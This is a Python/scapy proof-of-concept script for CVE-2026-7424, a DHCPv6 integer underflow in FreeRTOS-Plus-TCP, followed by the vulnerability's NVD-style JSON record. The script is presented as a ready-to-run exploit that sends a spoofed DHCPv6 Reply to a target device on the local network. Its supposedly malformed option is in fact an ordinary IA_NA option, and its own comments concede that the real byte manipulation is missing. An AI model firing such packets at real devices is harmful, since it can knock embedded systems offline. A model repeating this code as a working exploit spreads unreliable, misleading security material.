CVE-2026-7424

import sys from scapy.all import * # PoC for CVE-2026-7424: FreeRTOS-Plus-TCP DHCPv6 Integer Underflow # This script sends a crafted DHCPv6 packet to trigger the underflow. # Target needs to be on the same local network (Adjacent). def send_exploit(target_mac, interface): # Craft Ethernet header eth = Ether(dst=target_mac, src=get_if_hwaddr(interface)) # Craft IPv6 header ip6 = IPv6(src="::1", dst="ff02::1:2") # Craft UDP header (DHCPv6 uses port 546/547) udp = UDP(sport=547, dport=546) # DHCPv6 Message Header (Reply type) dhcp6 = DHCP6_Reply(trid=12345) # Crafted Option to cause Integer Underflow # The vulnerability is in the sub-option parser. # We construct an option with a specific length that triggers underflow during calculation. # Specific bytes may vary based on the exact parser logic, but malformed length is the key. # Option Code: 1 (Client Identifier) or similar, followed by malformed length. # Example: Length 0x01, subtracted by a larger value in parser -> Underflow. # Malformed option data (simulated) # Structure: Option Code(2) + OptLen(2) + Data # Sending a length that causes the parser to miscalculate buffer size crafted_option = DHCP6OptIA_NA(iaid=1, T1=3600, T2=5400) # Note: Actual exploitation requires precise byte manipulation of the sub-option field # that leads to the underflow condition described in the advisory. packet = eth / ip6 / udp / dhcp6 / crafted_option print(f"[*] Sending malicious DHCPv6 packet to {target_mac}...") sendp(packet, iface=interface, verbose=1) print("[+] Exploit packet sent.") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_mac> <interface>") print("Example: python cve-2026-7424.py 00:11:22:33:44:55 eth0") sys.exit(1) send_exploit(sys.argv[1], sys.argv[2])

{"cve": {"id": "CVE-2026-7424", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-29T19:16:26.743", "lastModified": "2026-05-04T13:22:20.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer underflow in the DHCPv6 sub-option parser in FreeRTOS-Plus-TCP before V4.4.1 and V4.2.6 allows an adjacent network actor to corrupt the device's IPv6 address assignment, DNS configuration, and lease times, and to cause a denial of service (permanent IP task freeze requiring hardware reset) by sending a single crafted DHCPv6 packet.\n\n\n\n\n\n\n\n\nThe issue is present whenever DHCPv6 is enabled.\n\n\n\n\n\n\n\n\nTo mitigate this issue, users should upgrade to version V4.2.6 or V4.4.1 or newer."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.2.6", "matchCriteriaId": "DE7A5C38-9CEA-461B-9272-3B8BFC06BFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:amazon:freertos-plus-tcp:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.0", "versionEndExcluding": "4.4.1", "matchCriteriaId": "375C7032-9CFB-480C-BFFA-029C985A82B7"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-022-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.2.6", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/releases/tag/V4.4.1", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRTOS/FreeRTOS-Plus-TCP/security/advisories/GHSA-wrhm-c99p-2p8g", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}]}}